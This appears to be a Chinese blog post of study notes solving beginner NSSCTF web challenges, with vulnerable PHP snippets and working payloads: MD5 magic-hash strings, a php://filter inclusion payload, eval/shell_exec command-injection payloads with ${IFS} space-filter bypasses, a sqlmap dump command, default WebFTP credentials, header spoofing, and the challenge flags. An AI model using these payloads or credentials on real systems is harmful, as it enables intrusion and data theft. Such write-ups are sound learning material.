您现在的位置是:首页 >其他 >【NSSCTF]ctfweb题目-学习笔记 1day网站首页其他

【NSSCTF]ctfweb题目-学习笔记 1day

KitAwei 2023-05-29 08:00:02
简介【NSSCTF]ctfweb题目-学习笔记 1day

目录

前言

[SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]easy_md5

 [SWPUCTF 2021 新生赛]caidao

 [SWPUCTF 2021 新生赛]include

[SWPUCTF 2021 新生赛]easyrce

 [SWPUCTF 2021 新生赛]easy_sql

 [第五空间 2021]WebFTP

[SWPUCTF 2021 新生赛]babyrce

[SWPUCTF 2021 新生赛]Do_you_know_http

总结


前言

ctfweb题目平台:[SWPUCTF 2021 新生赛]jicao | NSSCTF

[SWPUCTF 2021 新生赛]jicao

这道题是一个php代码审计题目

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

json_decode — 对 JSON 格式的字符串进行解码

从代码可知 post 发送一个id = “wllmNB” ,定义$json为一个数组的形式

那么就是 json =['x':'wllm']

用到得的浏览器插件 hackbar

NSSCTF{037de6d6-3b9e-4bb9-903f-4236c239b42a}

[SWPUCTF 2021 新生赛]easy_md5

根据题目

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>

$name && $password 不能相等,但$name && $password 的md5值又相等

所以这个问题 如果两个相等的话MD5必然是相等的

PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

所以我们只需要找0e开头的即可例如

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752

得到flag

NSSCTF{bc1ccfc9-194c-4f11-809a-3a39293691fc}

 [SWPUCTF 2021 新生赛]caidao

进去就是提示

 直接用菜刀或蚁剑连接就好了

NSSCTF{6bb489d4-e364-4302-ad0a-35cb90ee4534}

 [SWPUCTF 2021 新生赛]include

看到file一眼就知道就是文件包含漏洞

直接使用convert.base64-encode这个过滤器构造payload

php://filter/convert.base64-encode/resource=flag.php

然后得到

 base64解码得到:
 

NSSCTF{4b858152-b482-4984-a358-ad8dc781923e}

[SWPUCTF 2021 新生赛]easyrce

看到题目就是rce远程代码执行漏洞了

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}

看到eval函数,首先我们先了解 eval函数system函数的区别

    eval("phpinfo();");   //phpinfo()被执行
    system("phpinfo()");  //phpinfo()不被执行
    system("whoami");    //whoami命令被执行
	eval("whoami");      //whoami命令不被执行

这说明了eval执行的是PHP代码命令而system是执行系统命令,那么我们可以通过eval来执行 system函数

构造payload:

?url=system("ls /");
?url=system("cat /flllllaaaaaaggggggg");

 

NSSCTF{20d42f0c-5c06-4552-8d44-d5bbe220b103}

 [SWPUCTF 2021 新生赛]easy_sql

简单的sql注入漏洞,没有任何的防护措施

直接用sqlmap输入指令:

sqlmap -u "http://node3.anna.nssctf.cn:28330/?wllm=1" -D test_db -T test_tb -C flag,id --dump

flag:

NSSCTF{5eb7d391-5f49-40b7-b2d3-7ed9ffc611b5}

 [第五空间 2021]WebFTP

看到这个题目就知道用的是webftp这个后台管理系统,这个后台管理系统的默认密码是: 

username:admin
password:admin888

我们怎么知道?

直接搜索

 进入进到网站的目录/var/www/html

看到个PHPinfo.php的文件,直接在网站中打开,直接找到flag了

NSSCTF{9371b71b-0d5e-4442-9a20-71cf4621b995}

[SWPUCTF 2021 新生赛]babyrce

error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";

可以看到这题目的提示发送一个cookie为admin=1的 然后加Content-Type:text/html;charset=utf-8

 看到提示 rasalghul.php,我们打开它,

error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}

可以看到又是新的,看到shell_exec($ip)就懂了应该是rec远程代码执行

而且还把“ ”过滤了=v=

那么我们就要用其他符号代替

空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

构造payload:

http://node1.anna.nssctf.cn:28064/rasalghul.php?url=ls${IFS}/
http://node1.anna.nssctf.cn:28064/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg

NSSCTF{123c45c7-8bb1-48f0-92c3-626cc9e3035d}

[SWPUCTF 2021 新生赛]Do_you_know_http

一看看下去一脸懵逼

看到提示Please use 'WLLM' browser!翻译为

请使用'WLLM'浏览

那我们抓包改一下请求头,User-Agent

 发送直接返回success,又提示a.php

我们继续打开a.php

 然后直接使用 X-Forwarded-For:127.0.0.1 伪造IP请求既可以

NSSCTF{723d93e6-c278-4118-9ec8-c2045413b1e4}

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。简单地说,xff是告诉服务器当前请求者的最终ip的http请求头字段通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip

格式为:X-Forwarded-For: 本机IP, 代理1IP, 代理2IP, 代理2IP

总结

今天题目类型有sql注入、getshell、XFF伪造请求头、MD5简单绕过、rec远程命令执行、[SWPUCTF 2021 新生赛]easyrce、[SWPUCTF 2021 新生赛]Do_you_know_http、[SWPUCTF 2021 新生赛]babyrce

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。